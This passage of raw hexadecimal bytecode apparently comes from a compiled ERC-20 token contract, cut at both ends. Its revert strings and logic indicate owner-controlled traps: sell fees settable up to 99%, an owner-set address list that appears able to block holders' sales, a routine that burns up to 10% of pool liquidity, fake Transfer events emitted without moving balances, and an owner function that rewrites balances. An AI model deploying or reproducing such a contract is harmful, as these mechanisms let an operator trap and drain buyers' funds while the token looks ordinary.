9993552e74360405160405180910390a380600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b60115481565b60205481565b601f5481565b6112256128e6565b633b9aca006103e86001611237611133565b6112419190614701565b61124b9190614772565b6112559190614772565b811015611297576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128e90614815565b60405180910390fd5b633b9aca00816112a79190614701565b600b8190555050565b60006112bd848484612964565b61137e846112c9612715565b6113798560405180606001604052806028815260200161585360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061132f612715565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134889092919063ffffffff16565b61271d565b600190509392505050565b6113916128e6565b60005b83839050811015611460578383828181106113b2576113b1614835565b5b90506020020160208101906113c7919061421c565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161144591906142d2565b60405180910390a3808061145890614864565b915050611394565b50505050565b61dead81565b60135481565b601260009054906101000a900460ff1681565b60006009905090565b601560009054906101000a900460ff1681565b600061154a6114ae612715565b8461154585600360006114bf612715565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b790919063ffffffff16565b61271d565b6001905092915050565b61155c6128e6565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601b5481565b601560029054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116866128e6565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61174c6128e6565b610258831015611791576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117889061491e565b60405180910390fd5b6103e882111580156117a4575060008210155b6117e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117da906149b0565b60405180910390fd5b826013819055508160118190555080601260006101000a81548160ff021916908315150217905550505050565b600061181a6128e6565b6000601560006101000a81548160ff0219169083151502179055506001905090565b6118446128e6565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b6118d36128e6565b826018819055508160198190555080601a81905550601a546019546018546118fb91906149d0565b61190591906149d0565b60178190555060196017541115611951576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194890614a50565b60405180910390fd5b505050565b61195e6128e6565b6001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555042601481905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b6119fa6128e6565b80601560026101000a81548160ff02191690831515021790555050565b606060078054611a26906146a1565b80601f0160208091040260200160405190810160405280929190818152602001828054611a52906146a1565b8015611a9f5780601f10611a7457610100808354040283529160200191611a9f565b820191906000526020600020905b815481529060010190602001808311611a8257829003601f168201915b5050505050905090565b601a5481565b611ab76128e6565b611ac182826134ec565b5050565b60105481565b60215481565b601e5481565b611adf6128e6565b611ae98282611d86565b5050565b6000611bb0611afa612715565b84611bab8560405180606001604052806025815260200161587b6025913960036000611b24612715565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134889092919063ffffffff16565b61271d565b6001905092915050565b60145481565b6000611bd4611bcd612715565b8484612964565b6001905092915050565b611be66128e6565b60005b83839050811015611c85578160166000868685818110611c0c57611c0b614835565b5b9050602002016020810190611c21919061421c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611c7d90614864565b915050611be9565b50505050565b611c936128e6565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60266020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611d8e6128e6565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601560019054906101000a900460ff1681565b611e856128e6565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611f229190614201565b60405180910390a25050565b611f366128e6565b82601c8190555081601d8190555080601e81905550601e54601d54601c54611f5e91906149d0565b611f6891906149d0565b601b819055506063601b541115611fb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fab90614abc565b60405180910390fd5b505050565b611fc16128e6565b633b9aca006103e86005611fd3611133565b611fdd9190614701565b611fe79190614772565b611ff19190614772565b811015612033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202a90614b4e565b60405180910390fd5b633b9aca00816120439190614701565b600a8190555050565b6120546128e6565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506120c2600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600161183c565b50565b602360009054906101000a900460ff1681565b600b5481565b60006120e86128e6565b620186a060016120f6611133565b6121009190614701565b61210a9190614772565b82101561214c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214390614be0565b60405180910390fd5b6103e8600a612159611133565b6121639190614701565b61216d9190614772565b8211156121af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a690614c72565b60405180910390fd5b81600c8190555060019050919050565b60175481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600c5481565b60006122b26128e6565b6000602360006101000a81548160ff0219169083151502179055506001905090565b60195481565b6122e26128e6565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612351576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234890614d04565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b600a5481565b60006124246128e6565b600f5460105461243491906149d0565b4211612475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246c90614d70565b60405180910390fd5b6103e88211156124ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b190614e02565b60405180910390fd5b4260108190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161251e9190614441565b602060405180830381865afa15801561253b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061255f9190614e37565b9050600061258a61271061257c86856136b790919063ffffffff16565b61373190919063ffffffff16565b905060008111156125c5576125c4600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead8361377b565b5b600060266000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561269357600080fd5b505af11580156126a7573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846126c691906149d0565b90508381101561270b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270290614eb0565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361278c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278390614f42565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f290614fd4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516128d991906142d2565b60405180910390a3505050565b6128ee612715565b73ffffffffffffffffffffffffffffffffffffffff1661290c613a12565b73ffffffffffffffffffffffffffffffffffffffff1614612962576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295990615040565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ca906150d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3990615164565b60405180910390fd5b60008103612a5b57612a568383600061377b565b613483565b601560009054906101000a900460ff161561307257612a7861199d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612ae65750612ab661199d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b1f5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b59575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b725750600960149054906101000a900460ff16155b1561307157601560019054906101000a900460ff16612c6c57602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c2c5750602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612c6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c62906151d0565b60405180910390fd5b5b602360009054906101000a900460ff1615612e3657612c8961199d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612d1057507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612d6a5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612e355743602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612df0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612de790615288565b60405180910390fd5b43602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f2957600b54811115612ecc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ec39061531a565b60405180910390fd5b600a54612ed883611635565b82612ee391906149d0565b1115612f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f1b90615386565b60405180910390fd5b613070565b602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612fc457600b54811115612fbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fb690615418565b60405180910390fd5b61306f565b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661306e57600a5461302183611635565b8261302c91906149d0565b111561306d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161306490615386565b60405180910390fd5b5b5b5b5b5b600061307d30611635565b90506000600c5482101590508080156130a25750601560029054906101000a900460ff165b80156130bb5750600960149054906101000a900460ff16155b80156131115750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156131675750602460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156131ab576001600960146101000a81548160ff02191690831515021790555061318f613a26565b6000600960146101000a81548160ff0219169083151502179055505b600960149054906101000a900460ff161580156131d45750601260009054906101000a900460ff165b156131e4576131e285613bae565b505b6000600960149054906101000a900460ff16159050602460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061329a5750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156132a457600090505b60008115613473576000601b54111561337f576132df60646132d1601b54886136b790919063ffffffff16565b61373190919063ffffffff16565b9050601b54601d54826132f29190614701565b6132fc9190614772565b6020600082825461330d91906149d0565b92505081905550601b54601e54826133259190614701565b61332f9190614772565b6021600082825461334091906149d0565b92505081905550601b54601c54826133589190614701565b6133629190614772565b601f600082825461337391906149d0565b9250508190555061344f565b6000601754111561344e576133b260646133a4601754886136b790919063ffffffff16565b61373190919063ffffffff16565b9050601754601954826133c59190614701565b6133cf9190614772565b602060008282546133e091906149d0565b92505081905550601754601a54826133f89190614701565b6134029190614772565b6021600082825461341391906149d0565b925050819055506017546018548261342b9190614701565b6134359190614772565b601f600082825461344691906149d0565b925050819055505b5b60008111156134645761346387308361377b565b5b80856134709190615438565b94505b61347e87878761377b565b505050505b505050565b60008383111582906134d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134c791906140e6565b60405180910390fd5b50600083856134df9190615438565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361355b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613552906154de565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156135e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135d990615570565b60405180910390fd5b816004546135f09190615438565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546136459190615438565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516136aa91906142d2565b60405180910390a3505050565b60008083036136c9576000905061372b565b600082846136d79190614701565b90508284826136e69190614772565b14613726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161371d90615602565b60405180910390fd5b809150505b92915050565b600061377383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c6c565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036137ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137e1906150d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613859576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161385090615164565b60405180910390fd5b613864838383613ccf565b6138d08160405180606001604052806026815260200161582d60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134889092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061396581600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613a0591906142d2565b60405180910390a3505050565b600080613a1d613cd4565b90508091505090565b6000613a3130611635565b90506000602154601f54602054613a4891906149d0565b613a5291906149d0565b9050600080831480613a645750600082145b15613a7157505050613bac565b6014600c54613a809190614701565b831115613a99576014600c54613a969190614701565b92505b600060028360205486613aac9190614701565b613ab69190614772565b613ac09190614772565b90506000613ad78286613d7890919063ffffffff16565b90506000479050613ae782613dc2565b6000613afc8247613d7890919063ffffffff16565b905060006020819055506000601f819055506000602181905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613b5c90615653565b60006040518083038185875af1925050503d8060008114613b99576040519150601f19603f3d011682016040523d82523d6000602084013e613b9e565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613bea9190614441565b602060405180830381865afa158015613c07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c2b9190614e37565b90506000613c44601154836126b790919063ffffffff16565b9050613c4f84613fff565b613c615760008114613c6057600080fd5b5b600192505050919050565b60008083118290613cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613caa91906140e6565b60405180910390fd5b5060008385613cc29190614772565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613d4f5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613d73565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613dba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613488565b905092915050565b6000600267ffffffffffffffff811115613ddf57613dde615668565b5b604051908082528060200260200182016040528015613e0d5781602001602082028036833780820191505090505b5090503081600081518110613e2557613e24614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613eca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613eee91906156ac565b81600181518110613f0257613f01614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613f67307f00000000000000000000000000000000000000000000000000000000000000008461271d565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613fc99594939291906157d2565b600060405180830381600087803b158015613fe357600080fd5b505af1158015613ff7573d6000803e3d6000fd5b505050505050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015614090578082015181840152602081019050614075565b60008484015250505050565b6000601f19601f8301169050919050565b60006140b882614056565b6140c28185614061565b93506140d2818560208601614072565b6140db8161409c565b840191505092915050565b6000602082019050818103600083015261410081846140ad565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061413d82614112565b9050919050565b61414d81614132565b811461415857600080fd5b50565b60008135905061416a81614144565b92915050565b6000819050919050565b61418381614170565b811461418e57600080fd5b50565b6000813590506141a08161417a565b92915050565b600080604083850312156141bd576141bc614108565b5b60006141cb8582860161415b565b92505060206141dc85828601614191565b9150509250929050565b60008115159050919050565b6141fb816141e6565b82525050565b600060208201905061421660008301846141f2565b92915050565b60006020828403121561423257614231614108565b5b60006142408482850161415b565b91505092915050565b6000819050919050565b600061426e61426961426484614112565b614249565b614112565b9050919050565b600061428082614253565b9050919050565b600061429282614275565b9050919050565b6142a281614287565b82525050565b60006020820190506142bd6000830184614299565b92915050565b6142cc81614170565b82525050565b60006020820190506142e760008301846142c3565b92915050565b60006020828403121561430357614302614108565b5b600061431184828501614191565b91505092915050565b60008060006060848603121561433357614332614108565b5b60006143418682870161415b565b93505060206143528682870161415b565b925050604061436386828701614191565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126143925761439161436d565b5b8235905067ffffffffffffffff8111156143af576143ae614372565b5b6020830191508360208202830111156143cb576143ca614377565b5b9250929050565b6000806000604084860312156143eb576143ea614108565b5b600084013567ffffffffffffffff8111156144095761440861410d565b5b6144158682870161437c565b9350935050602061442886828701614191565b9150509250925092565b61443b81614132565b82525050565b60006020820190506144566000830184614432565b92915050565b600060ff82169050919050565b6144728161445c565b82525050565b600060208201905061448d6000830184614469565b92915050565b61449c816141e6565b81146144a757600080fd5b50565b6000813590506144b981614493565b92915050565b6000806000606084860312156144d8576144d7614108565b5b60006144e686828701614191565b93505060206144f786828701614191565b9250506040614508868287016144aa565b9150509250925092565b6000806040838503121561452957614528614108565b5b60006145378582860161415b565b9250506020614548858286016144aa565b9150509250929050565b60008060006060848603121561456b5761456a614108565b5b600061457986828701614191565b935050602061458a86828701614191565b925050604061459b86828701614191565b9150509250925092565b6000602082840312156145bb576145ba614108565b5b60006145c9848285016144aa565b91505092915050565b600080604083850312156145e9576145e8614108565b5b60006145f78582860161415b565b92505060206146088582860161415b565b9150509250929050565b60008060006040848603121561462b5761462a614108565b5b600084013567ffffffffffffffff8111156146495761464861410d565b5b6146558682870161437c565b93509350506020614668868287016144aa565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806146b957607f821691505b6020821081036146cc576146cb614672565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061470c82614170565b915061471783614170565b925082820261472581614170565b9150828204841483151761473c5761473b6146d2565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061477d82614170565b915061478883614170565b92508261479857614797614743565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b60006147ff602f83614061565b915061480a826147a3565b604082019050919050565b6000602082019050818103600083015261482e816147f2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061486f82614170565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036148a1576148a06146d2565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b6000614908603383614061565b9150614913826148ac565b604082019050919050565b60006020820190508181036000830152614937816148fb565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b600061499a603083614061565b91506149a58261493e565b604082019050919050565b600060208201905081810360008301526149c98161498d565b9050919050565b60006149db82614170565b91506149e683614170565b92508282019050808211156149fe576149fd6146d2565b5b92915050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000614a3a601d83614061565b9150614a4582614a04565b602082019050919050565b60006020820190508181036000830152614a6981614a2d565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000614aa6601d83614061565b9150614ab182614a70565b602082019050919050565b60006020820190508181036000830152614ad581614a99565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614b38602483614061565b9150614b4382614adc565b604082019050919050565b60006020820190508181036000830152614b6781614b2b565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614bca603583614061565b9150614bd582614b6e565b604082019050919050565b60006020820190508181036000830152614bf981614bbd565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614c5c603283614061565b9150614c6782614c00565b604082019050919050565b60006020820190508181036000830152614c8b81614c4f565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614cee602683614061565b9150614cf982614c92565b604082019050919050565b60006020820190508181036000830152614d1d81614ce1565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000614d5a602083614061565b9150614d6582614d24565b602082019050919050565b60006020820190508181036000830152614d8981614d4d565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b6000614dec602a83614061565b9150614df782614d90565b604082019050919050565b60006020820190508181036000830152614e1b81614ddf565b9050919050565b600081519050614e318161417a565b92915050565b600060208284031215614e4d57614e4c614108565b5b6000614e5b84828501614e22565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614e9a601b83614061565b9150614ea582614e64565b602082019050919050565b60006020820190508181036000830152614ec981614e8d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614f2c602483614061565b9150614f3782614ed0565b604082019050919050565b60006020820190508181036000830152614f5b81614f1f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614fbe602283614061565b9150614fc982614f62565b604082019050919050565b60006020820190508181036000830152614fed81614fb1565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061502a602083614061565b915061503582614ff4565b602082019050919050565b600060208201905081810360008301526150598161501d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006150bc602583614061565b91506150c782615060565b604082019050919050565b600060208201905081810360008301526150eb816150af565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061514e602383614061565b9150615159826150f2565b604082019050919050565b6000602082019050818103600083015261517d81615141565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006151ba601683614061565b91506151c582615184565b602082019050919050565b600060208201905081810360008301526151e9816151ad565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000615272604983614061565b915061527d826151f0565b606082019050919050565b600060208201905081810360008301526152a181615265565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000615304603583614061565b915061530f826152a8565b604082019050919050565b60006020820190508181036000830152615333816152f7565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000615370601383614061565b915061537b8261533a565b602082019050919050565b6000602082019050818103600083015261539f81615363565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000615402603683614061565b915061540d826153a6565b604082019050919050565b60006020820190508181036000830152615431816153f5565b9050919050565b